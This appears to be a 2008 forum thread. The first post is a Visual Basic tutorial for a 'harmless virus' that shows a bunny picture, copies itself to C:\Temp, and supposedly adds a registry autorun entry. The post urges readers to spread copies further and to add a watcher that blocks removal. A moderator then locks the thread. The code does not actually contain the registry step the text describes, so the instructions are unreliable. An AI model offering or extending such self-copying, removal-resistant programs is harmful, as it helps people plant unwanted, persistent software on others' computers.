Posted: Wed Mar 12, 2008 1:58 pm Post subject: [VB2008 TUTORIAL] HOW TO MAKE A HARMLESS VIRUS v1
DESCRIPTIONWhat this does is creates a registry key saying that C:\Temp\funnybunny.exe will automatically run whenever your computer turns on. It was also copy its self to C:\Temp\funnybunny.exe if it hasnt already. If there is no folder called Temp on the C drive it will create one.
The only point of this virus is to simply annoy the user.
REMOVAL STEPS Just delete C:\Temp\funnybunny.exe
HOW TO MAKE
1) File new project name it funnybunny
2) Put the text of form1 to funnybunny
3) On the form1_load event add this code there
Dim path As String
path = Application.StartupPath
Dim name As String
name = "\funnybunny.exe"
Dim file As String
file = path & name
Dim NewCopy As String
NewCopy = "C:\Temp\funnybunny.exe"
If System.IO.Directory.Exists("C:\Temp") = False Then
System.IO.Directory.CreateDirectory("C:\Temp")
End If
If System.IO.File.Exists(NewCopy) = False Then
System.IO.File.Copy(file, NewCopy)
End If
4) Download this picture and save it as bunny.jpg
http://customersrock.files.wordpress.com/2007/07/bunny.jpg
5) Add a picture box to form1. Change the image property of the picture box to the picture of the bunny we recently downloaded.
6) put the form1 : minimizebox and maximize box to False. Change the form border style to Fized 3d.
7) Resize your form to make sure the full bunny can be seen.
Save everything. And your done.
If you think you understand the source code then try to make it so that it will copy it self to more places other than just C:\Temp. Also if you accomplished that try making a new application that runs in the background to monitor the registry and the folder containing funnybunny.exe to make sure that they dont get edited. I will later make a second version showing how to do all the stuff I just said.
Joined: 25 Jan 2006 Posts: 8587 Location: 127.0.0.1
Posted: Wed Mar 12, 2008 2:49 pm Post subject:
Again with the useless posts. Whether the intent is harmful or not, this is not the type of things that should be posted in this section. If you want to post stuff like this, take it to random spam. Locked. _________________
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum You cannot attach files in this forum You can download files in this forum